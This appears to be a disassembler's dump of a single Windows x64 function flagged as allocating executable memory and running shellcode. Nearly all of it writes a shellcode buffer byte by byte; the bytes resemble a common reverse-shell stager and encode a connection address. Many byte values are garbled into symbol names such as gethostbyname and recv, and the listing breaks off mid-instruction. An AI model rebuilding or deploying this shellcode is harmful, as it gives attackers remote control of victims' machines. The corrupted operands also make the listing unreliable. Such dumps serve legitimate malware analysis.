Function at 0x140001330
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header

Disassembly:
sub rsp, 0x128
call fcn.1400012c0
mov eax, 1
imul rax, rax, 0
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xfc
mov eax, 1
imul rax, rax, 1
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x48
mov eax, 1
imul rax, rax, 2
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x83
mov eax, 1
imul rax, rax, 3
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xe4
mov eax, 1
imul rax, rax, 4
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xf0
mov eax, 1
imul rax, rax, 5
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xe8
mov eax, 1
imul rax, rax, 6
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xcc
mov eax, 1
imul rax, rax, 7
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0x1fe
jae 0x1400013e3
jmp 0x1400013e8
call fcn.14000477c
lea rax, [0x140027af0]
mov rcx, qword [rsp + 0x20]
mov byte [rax + rcx], 0
mov eax, 1
imul rax, rax, 8
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0x1fe
jae 0x140001413
jmp 0x140001418
call fcn.14000477c
lea rax, [0x140027af0]
mov rcx, qword [rsp + 0x28]
mov byte [rax + rcx], 0
mov eax, 1
imul rax, rax, 9
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0x1fe
jae 0x140001443
jmp 0x140001448
call fcn.14000477c
lea rax, [0x140027af0]
mov rcx, qword [rsp + 0x30]
mov byte [rax + rcx], 0
mov eax, 1
imul rax, rax, 0xa
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x41
mov eax, 1
imul rax, rax, 0xb
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x51
mov eax, 1
imul rax, rax, 0xc
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x41
mov eax, 1
imul rax, rax, 0xd
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x50
mov eax, 1
imul rax, rax, 0xe
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x52
mov eax, 1
imul rax, rax, 0xf
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x48
mov eax, 1
imul rax, rax, 0x10
lea rcx, [0x140027af0]
mov byte [rcx + rax], gethostbyname
mov eax, 1
imul rax, rax, 0x11
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xd2
mov eax, 1
imul rax, rax, 0x12
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x51
mov eax, 1
imul rax, rax, 0x13
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x65
mov eax, 1
imul rax, rax, 0x14
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x48
mov eax, 1
imul rax, rax, 0x15
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x8b
mov eax, 1
imul rax, rax, 0x16
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x52
mov eax, 1
imul rax, rax, 0x17
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x60
mov eax, 1
imul rax, rax, 0x18
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x56
mov eax, 1
imul rax, rax, 0x19
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x48
mov eax, 1
imul rax, rax, 0x1a
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x8b
mov eax, 1
imul rax, rax, 0x1b
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x52
mov eax, 1
imul rax, rax, 0x1c
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x18
mov eax, 1
imul rax, rax, 0x1d
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x48
mov eax, 1
imul rax, rax, 0x1e
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x8b
mov eax, 1
imul rax, rax, 0x1f
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x52
mov eax, 1
imul rax, rax, 0x20
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x20
mov eax, 1
imul rax, rax, 0x21
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x48
mov eax, 1
imul rax, rax, 0x22
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x8b
mov eax, 1
imul rax, rax, 0x23
lea rcx, [0x140027af0]
mov byte [rcx + rax], WSAStartup
mov eax, 1
imul rax, rax, 0x24
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x50
mov eax, 1
imul rax, rax, 0x25
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x48
mov eax, 1
imul rax, rax, 0x26
lea rcx, [0x140027af0]
mov byte [rcx + rax], recv
mov eax, 1
imul rax, rax, 0x27
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xb7
mov eax, 1
imul rax, rax, 0x28
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x4a
mov eax, 1
imul rax, rax, 0x29
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x4a
mov eax, 1
imul rax, rax, 0x2a
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x4d
mov eax, 1
imul rax, rax, 0x2b
lea rcx, [0x140027af0]
mov byte [rcx + rax], gethostbyname
mov eax, 1
imul rax, rax, 0x2c
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xc9
mov eax, 1
imul rax, rax, 0x2d
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x48
mov eax, 1
imul rax, rax, 0x2e
lea rcx, [0x140027af0]
mov byte [rcx + rax], gethostbyname
mov eax, 1
imul rax, rax, 0x2f
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xc0
mov eax, 1
imul rax, rax, 0x30
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xac
mov eax, 1
imul rax, rax, 0x31
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x3c
mov eax, 1
imul rax, rax, 0x32
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x61
mov eax, 1
imul rax, rax, 0x33
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x7c
mov eax, 1
imul rax, rax, 0x34
lea rcx, [0x140027af0]
mov byte [rcx + rax], 2
mov eax, 1
imul rax, rax, 0x35
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x2c
mov eax, 1
imul rax, rax, 0x36
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x20
mov eax, 1
imul rax, rax, 0x37
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x41
mov eax, 1
imul rax, rax, 0x38
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xc1
mov eax, 1
imul rax, rax, 0x39
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xc9
mov eax, 1
imul rax, rax, 0x3a
lea rcx, [0x140027af0]
mov byte [rcx + rax], recv
mov eax, 1
imul rax, rax, 0x3b
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x41
mov eax, 1
imul rax, rax, 0x3c
lea rcx, [0x140027af0]
mov byte [rcx + rax], 1
mov eax, 1
imul rax, rax, 0x3d
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xc1
mov eax, 1
imul rax, rax, 0x3e
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xe2
mov eax, 1
imul rax, rax, 0x3f
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xed
mov eax, 1
imul rax, rax, 0x40
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x52
mov eax, 1
imul rax, rax, 0x41
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x48
mov eax, 1
imul rax, rax, 0x42
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x8b
mov eax, 1
imul rax, rax, 0x43
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x52
mov eax, 1
imul rax, rax, 0x44
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x20
mov eax, 1
imul rax, rax, 0x45
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x41
mov eax, 1
imul rax, rax, 0x46
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x51
mov eax, 1
imul rax, rax, 0x47
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x8b
mov eax, 1
imul rax, rax, 0x48
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x42
mov eax, 1
imul rax, rax, 0x49
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x3c
mov eax, 1
imul rax, rax, 0x4a
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x48
mov eax, 1
imul rax, rax, 0x4b
lea rcx, [0x140027af0]
mov byte [rcx + rax], 1
mov eax, 1
imul rax, rax, 0x4c
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xd0
mov eax, 1
imul rax, rax, 0x4d
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x66
mov eax, 1
imul rax, rax, 0x4e
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x81
mov eax, 1
imul rax, rax, 0x4f
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x78
mov eax, 1
imul rax, rax, 0x50
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x18
mov eax, 1
imul rax, rax, 0x51
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xb
mov eax, 1
imul rax, rax, 0x52
lea rcx, [0x140027af0]
mov byte [rcx + rax], 2
mov eax, 1
imul rax, rax, 0x53
lea rcx, [0x140027af0]
mov byte [rcx + rax], recv
mov eax, 1
imul rax, rax, 0x54
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x85
mov eax, 1
imul rax, rax, 0x55
lea rcx, [0x140027af0]
mov byte [rcx + rax], WSAStartup
mov eax, 1
imul rax, rax, 0x56
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0x1fe
jae 0x140001a63
jmp 0x140001a68
call fcn.14000477c
lea rax, [0x140027af0]
mov rcx, qword [rsp + 0x38]
mov byte [rax + rcx], 0
mov eax, 1
imul rax, rax, 0x57
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0x1fe
jae 0x140001a93
jmp 0x140001a98
call fcn.14000477c
lea rax, [0x140027af0]
mov rcx, qword [rsp + 0x40]
mov byte [rax + rcx], 0
mov eax, 1
imul rax, rax, 0x58
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0x1fe
jae 0x140001ac3
jmp 0x140001ac8
call fcn.14000477c
lea rax, [0x140027af0]
mov rcx, qword [rsp + 0x48]
mov byte [rax + rcx], 0
mov eax, 1
imul rax, rax, 0x59
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x8b
mov eax, 1
imul rax, rax, 0x5a
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x80
mov eax, 1
imul rax, rax, 0x5b
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x88
mov eax, 1
imul rax, rax, 0x5c
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0x1fe
jae 0x140001b2f
jmp 0x140001b34
call fcn.14000477c
lea rax, [0x140027af0]
mov rcx, qword [rsp + 0x50]
mov byte [rax + rcx], 0
mov eax, 1
imul rax, rax, 0x5d
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0x1fe
jae 0x140001b5f
jmp 0x140001b64
call fcn.14000477c
lea rax, [0x140027af0]
mov rcx, qword [rsp + 0x58]
mov byte [rax + rcx], 0
mov eax, 1
imul rax, rax, 0x5e
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0x1fe
jae 0x140001b8f
jmp 0x140001b94
call fcn.14000477c
lea rax, [0x140027af0]
mov rcx, qword [rsp + 0x60]
mov byte [rax + rcx], 0
mov eax, 1
imul rax, rax, 0x5f
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x48
mov eax, 1
imul rax, rax, 0x60
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x85
mov eax, 1
imul rax, rax, 0x61
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xc0
mov eax, 1
imul rax, rax, 0x62
lea rcx, [0x140027af0]
mov byte [rcx + rax], reloc.WS2_32.dll_WSACleanup
mov eax, 1
imul rax, rax, 0x63
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x67
mov eax, 1
imul rax, rax, 0x64
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x48
mov eax, 1
imul rax, rax, 0x65
lea rcx, [0x140027af0]
mov byte [rcx + rax], 1
mov eax, 1
imul rax, rax, 0x66
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xd0
mov eax, 1
imul rax, rax, 0x67
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x44
mov eax, 1
imul rax, rax, 0x68
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x8b
mov eax, 1
imul rax, rax, 0x69
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x40
mov eax, 1
imul rax, rax, 0x6a
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x20
mov eax, 1
imul rax, rax, 0x6b
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x8b
mov eax, 1
imul rax, rax, 0x6c
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x48
mov eax, 1
imul rax, rax, 0x6d
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x18
mov eax, 1
imul rax, rax, 0x6e
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x50
mov eax, 1
imul rax, rax, 0x6f
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x49
mov eax, 1
imul rax, rax, 0x70
lea rcx, [0x140027af0]
mov byte [rcx + rax], 1
mov eax, 1
imul rax, rax, 0x71
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xd0
mov eax, 1
imul rax, rax, 0x72
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xe3
mov eax, 1
imul rax, rax, 0x73
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x56
mov eax, 1
imul rax, rax, 0x74
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x4d
mov eax, 1
imul rax, rax, 0x75
lea rcx, [0x140027af0]
mov byte [rcx + rax], gethostbyname
mov eax, 1
imul rax, rax, 0x76
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xc9
mov eax, 1
imul rax, rax, 0x77
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x48
mov eax, 1
imul rax, rax, 0x78
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xff
mov eax, 1
imul rax, rax, 0x79
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xc9
mov eax, 1
imul rax, rax, 0x7a
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x41
mov eax, 1
imul rax, rax, 0x7b
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x8b
mov eax, 1
imul rax, rax, 0x7c
lea rcx, [0x140027af0]
mov byte [rcx + rax], reloc.WS2_32.dll_gethostbyname
mov eax, 1
imul rax, rax, 0x7d
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x88
mov eax, 1
imul rax, rax, 0x7e
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x48
mov eax, 1
imul rax, rax, 0x7f
lea rcx, [0x140027af0]
mov byte [rcx + rax], 1
mov eax, 1
imul rax, rax, 0x80
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xd6
mov eax, 1
imul rax, rax, 0x81
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x48
mov eax, 1
imul rax, rax, 0x82
lea rcx, [0x140027af0]
mov byte [rcx + rax], gethostbyname
mov eax, 1
imul rax, rax, 0x83
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xc0
mov eax, 1
imul rax, rax, 0x84
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xac
mov eax, 1
imul rax, rax, 0x85
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x41
mov eax, 1
imul rax, rax, 0x86
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xc1
mov eax, 1
imul rax, rax, 0x87
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xc9
mov eax, 1
imul rax, rax, 0x88
lea rcx, [0x140027af0]
mov byte [rcx + rax], recv
mov eax, 1
imul rax, rax, 0x89
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x41
mov eax, 1
imul rax, rax, 0x8a
lea rcx, [0x140027af0]
mov byte [rcx + rax], 1
mov eax, 1
imul rax, rax, 0x8b
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xc1
mov eax, 1
imul rax, rax, 0x8c
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x38
mov eax, 1
imul rax, rax, 0x8d
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xe0
mov eax, 1
imul rax, rax, 0x8e
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x75
mov eax, 1
imul rax, rax, 0x8f
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xf1
mov eax, 1
imul rax, rax, 0x90
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x4c
mov eax, 1
imul rax, rax, 0x91
lea rcx, [0x140027af0]
mov byte [rcx + rax], 3
mov eax, 1
imul rax, rax, 0x92
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x4c
mov eax, 1
imul rax, rax, 0x93
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x24
mov eax, 1
imul rax, rax, 0x94
lea rcx, [0x140027af0]
mov byte [rcx + rax], 8
mov eax, 1
imul rax, rax, 0x95
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x45
mov eax, 1
imul rax, rax, 0x96
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x39
mov eax, 1
imul rax, rax, 0x97
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xd1
mov eax, 1
imul rax, rax, 0x98
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x75
mov eax, 1
imul rax, rax, 0x99
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xd8
mov eax, 1
imul rax, rax, 0x9a
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x58
mov eax, 1
imul rax, rax, 0x9b
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x44
mov eax, 1
imul rax, rax, 0x9c
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x8b
mov eax, 1
imul rax, rax, 0x9d
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x40
mov eax, 1
imul rax, rax, 0x9e
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x24
mov eax, 1
imul rax, rax, 0x9f
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x49
mov eax, 1
imul rax, rax, 0xa0
lea rcx, [0x140027af0]
mov byte [rcx + rax], 1
mov eax, 1
imul rax, rax, 0xa1
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xd0
mov eax, 1
imul rax, rax, 0xa2
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x66
mov eax, 1
imul rax, rax, 0xa3
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x41
mov eax, 1
imul rax, rax, 0xa4
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x8b
mov eax, 1
imul rax, rax, 0xa5
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xc
mov eax, 1
imul rax, rax, 0xa6
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x48
mov eax, 1
imul rax, rax, 0xa7
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x44
mov eax, 1
imul rax, rax, 0xa8
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x8b
mov eax, 1
imul rax, rax, 0xa9
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x40
mov eax, 1
imul rax, rax, 0xaa
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x1c
mov eax, 1
imul rax, rax, 0xab
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x49
mov eax, 1
imul rax, rax, 0xac
lea rcx, [0x140027af0]
mov byte [rcx + rax], 1
mov eax, 1
imul rax, rax, 0xad
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xd0
mov eax, 1
imul rax, rax, 0xae
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x41
mov eax, 1
imul rax, rax, 0xaf
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x8b
mov eax, 1
imul rax, rax, 0xb0
lea rcx, [0x140027af0]
mov byte [rcx + rax], 4
mov eax, 1
imul rax, rax, 0xb1
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x88
mov eax, 1
imul rax, rax, 0xb2
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x41
mov eax, 1
imul rax, rax, 0xb3
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x58
mov eax, 1
imul rax, rax, 0xb4
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x41
mov eax, 1
imul rax, rax, 0xb5
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x58
mov eax, 1
imul rax, rax, 0xb6
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x5e
mov eax, 1
imul rax, rax, 0xb7
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x48
mov eax, 1
imul rax, rax, 0xb8
lea rcx, [0x140027af0]
mov byte [rcx + rax], 1
mov eax, 1
imul rax, rax, 0xb9
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xd0
mov eax, 1
imul rax, rax, 0xba
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x59
mov eax, 1
imul rax, rax, 0xbb
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x5a
mov eax, 1
imul rax, rax, 0xbc
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x41
mov eax, 1
imul rax, rax, 0xbd
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x58
mov eax, 1
imul rax, rax, 0xbe
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x41
mov eax, 1
imul rax, rax, 0xbf
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x59
mov eax, 1
imul rax, rax, 0xc0
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x41
mov eax, 1
imul rax, rax, 0xc1
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x5a
mov eax, 1
imul rax, rax, 0xc2
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x48
mov eax, 1
imul rax, rax, 0xc3
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x83
mov eax, 1
imul rax, rax, 0xc4
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xec
mov eax, 1
imul rax, rax, 0xc5
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x20
mov eax, 1
imul rax, rax, 0xc6
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x41
mov eax, 1
imul rax, rax, 0xc7
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x52
mov eax, 1
imul rax, rax, 0xc8
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xff
mov eax, 1
imul rax, rax, 0xc9
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xe0
mov eax, 1
imul rax, rax, 0xca
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x58
mov eax, 1
imul rax, rax, 0xcb
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x41
mov eax, 1
imul rax, rax, 0xcc
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x59
mov eax, 1
imul rax, rax, 0xcd
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x5a
mov eax, 1
imul rax, rax, 0xce
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x48
mov eax, 1
imul rax, rax, 0xcf
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x8b
mov eax, 1
imul rax, rax, 0xd0
lea rcx, [0x140027af0]
mov byte [rcx + rax], send
mov eax, 1
imul rax, rax, 0xd1
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xe9
mov eax, 1
imul rax, rax, 0xd2
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x4b
mov eax, 1
imul rax, rax, 0xd3
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xff
mov eax, 1
imul rax, rax, 0xd4
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xff
mov eax, 1
imul rax, rax, 0xd5
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xff
mov eax, 1
imul rax, rax, 0xd6
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x5d
mov eax, 1
imul rax, rax, 0xd7
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x49
mov eax, 1
imul rax, rax, 0xd8
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xbe
mov eax, 1
imul rax, rax, 0xd9
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x77
mov eax, 1
imul rax, rax, 0xda
lea rcx, [0x140027af0]
mov byte [rcx + rax], reloc.WS2_32.dll_WSAStartup
mov eax, 1
imul rax, rax, 0xdb
lea rcx, [0x140027af0]
mov byte [rcx + rax], gethostbyname
mov eax, 1
imul rax, rax, 0xdc
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x5f
mov eax, 1
imul rax, rax, 0xdd
lea rcx, [0x140027af0]
mov byte [rcx + rax], gethostbyname
mov eax, 1
imul rax, rax, 0xde
lea rcx, [0x140027af0]
mov byte [rcx + rax], gethostbyname
mov eax, 1
imul rax, rax, 0xdf
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0x1fe
jae 0x1400026df
jmp 0x1400026e4
call fcn.14000477c
lea rax, [0x140027af0]
mov rcx, qword [rsp + 0x68]
mov byte [rax + rcx], 0
mov eax, 1
imul rax, rax, 0xe0
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x70], 0x1fe
jae 0x140002712
jmp 0x140002717
call fcn.14000477c
lea rax, [0x140027af0]
mov rcx, qword [rsp + 0x70]
mov byte [rax + rcx], 0
mov eax, 1
imul rax, rax, 0xe1
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x41
mov eax, 1
imul rax, rax, 0xe2
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x56
mov eax, 1
imul rax, rax, 0xe3
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x49
mov eax, 1
imul rax, rax, 0xe4
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x89
mov eax, 1
imul rax, rax, 0xe5
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xe6
mov eax, 1
imul rax, rax, 0xe6
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x48
mov eax, 1
imul rax, rax, 0xe7
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x81
mov eax, 1
imul rax, rax, 0xe8
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xec
mov eax, 1
imul rax, rax, 0xe9
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xa0
mov eax, 1
imul rax, rax, 0xea
lea rcx, [0x140027af0]
mov byte [rcx + rax], 1
mov eax, 1
imul rax, rax, 0xeb
mov qword [rsp + 0x78], rax
cmp qword [rsp + 0x78], 0x1fe
jae 0x14000282b
jmp 0x140002830
call fcn.14000477c
lea rax, [0x140027af0]
mov rcx, qword [rsp + 0x78]
mov byte [rax + rcx], 0
mov eax, 1
imul rax, rax, 0xec
mov qword [rsp + 0x80], rax
cmp qword [rsp + 0x80], 0x1fe
jae 0x140002864
jmp 0x140002869
call fcn.14000477c
lea rax, [0x140027af0]
mov rcx, qword [rsp + 0x80]
mov byte [rax + rcx], 0
mov eax, 1
imul rax, rax, 0xed
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x49
mov eax, 1
imul rax, rax, 0xee
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x89
mov eax, 1
imul rax, rax, 0xef
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xe5
mov eax, 1
imul rax, rax, 0xf0
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x49
mov eax, 1
imul rax, rax, 0xf1
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xbc
mov eax, 1
imul rax, rax, 0xf2
lea rcx, [0x140027af0]
mov byte [rcx + rax], 2
mov eax, 1
imul rax, rax, 0xf3
mov qword [rsp + 0x88], rax
cmp qword [rsp + 0x88], 0x1fe
jae 0x14000292a
jmp 0x14000292f
call fcn.14000477c
lea rax, [0x140027af0]
mov rcx, qword [rsp + 0x88]
mov byte [rax + rcx], 0
mov eax, 1
imul rax, rax, 0xf4
lea rcx, [0x140027af0]
mov byte [rcx + rax], send
mov eax, 1
imul rax, rax, 0xf5
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x5c
mov eax, 1
imul rax, rax, 0xf6
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xc0
mov eax, 1
imul rax, rax, 0xf7
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0xa8
mov eax, 1
imul rax, rax, 0xf8
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x64
mov eax, 1
imul rax, rax, 0xf9
lea rcx, [0x140027af0]
mov byte [rcx + rax], 1
mov eax, 1
imul rax, rax, 0xfa
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x41
mov eax, 1
imul rax, rax, 0xfb
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x54
mov eax, 1
imul rax, rax, 0xfc
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x49
mov eax, 1
imul rax, rax, 0xfd
lea rcx, [0x140027af0]
mov byte [rcx + rax], 0x89
mov eax, 1
imul rax, rax, 0xfe
lea rcx, [0x140027af0]
